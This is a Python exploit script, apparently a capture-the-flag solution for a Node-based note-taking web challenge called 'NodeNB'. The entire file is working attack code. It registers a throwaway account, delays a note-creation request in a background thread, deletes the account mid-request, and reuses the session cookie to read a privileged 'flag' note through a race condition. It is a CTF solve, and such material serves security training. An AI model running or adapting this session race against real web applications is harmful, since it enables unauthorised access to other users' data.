exploit.py

#!/usr/bin/env python3

import argparse
import requests
import json
from urllib.parse import quote
from pwn import remote, log
import string
import random
import re
from threading import Thread
import time


def die(msg):
    log.error(msg)
    exit(1)


def rand_str(size=8, chars=string.ascii_letters + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))


def register(base):
    data = {
        'username': rand_str(),
        'password': rand_str(),
    }
    r = requests.post(f'{base}/register', data=data, allow_redirects=False)
    if r.status_code != 302:
        die(f'could not register: {r.status_code} {r.text}')
    if r.headers['location'] != '/login':
        die(f'could not register: {r.status_code} {r.text}')
    return data


def login(base, username, password):
    session = requests.Session()
    data = {
        'username': username,
        'password': password,
    }
    r = session.post(f'{base}/login', data=data, allow_redirects=False)
    if r.status_code != 302:
        die(f'could not login: {r.status_code} {r.text}')
    return session


def create_random_note(base, session, title, content):
    data = {
        'title': title,
        'content': content,
    }
    url = f'{base}/notes?random=1'
    r = session.post(url, data=data, allow_redirects=False)
    if r.status_code != 302:
        die(f'could not create note: {r.status_code} {r.text}')
    return r.headers['location'][len('/notes/'):]


def get_note(base, session, id):
    r = session.get(f'{base}/notes/{id}', allow_redirects=False)
    if r.status_code != 200:
        return None

    html = r.text
    title_search = re.search('<h5[^>]*>([^<]*)</h5>', html, re.IGNORECASE)
    content_search = re.search('<p[^>]*>([^<]*)</p>', html, re.IGNORECASE)
    return {
        'title': title_search.group(1),
        'content': content_search.group(1),
    }


def delete_me(base, session):
    session_cookie = session.cookies.get_dict()['connect.sid']
    r = session.post(f'{base}/deleteme', allow_redirects=False)
    if r.status_code != 302:
        die(f'could not delete me: {r.status_code} {r.text}')
    return session_cookie


def do_async(func):
    thread = Thread(target=func)
    thread.start()
    return thread


def exploit(base):
    log.info('Registering user')
    user = register(base)
    log.info(f'User: {user}')

    log.info('Logging in')
    sess = login(base, user['username'], user['password'])

    log.info('Delaying session write')
    thread = do_async(lambda: create_random_note(base, sess, 'my title', 'my content'))
    time.sleep(1)

    log.info('Committing account sudoku')
    session_cookie = delete_me(base, sess)
    log.info(f'Cookie: {session_cookie}')

    log.info('Waiting for delayed write')
    thread.join()

    log.info('Getting flag note')
    sess.cookies.set('connect.sid', session_cookie)
    flag_note = get_note(base, sess, 'flag')
    if flag_note is None:
        log.warn('could not get flag')
    else:
        flag = flag_note['content']
        log.success(f'Flag: {flag}')


def main():
    parser = argparse.ArgumentParser(description='NodeNB exploit')
    parser.add_argument('baseurl', help='challenge url')
    args = parser.parse_args()
    exploit(args.baseurl)


if __name__ == "__main__":
    main()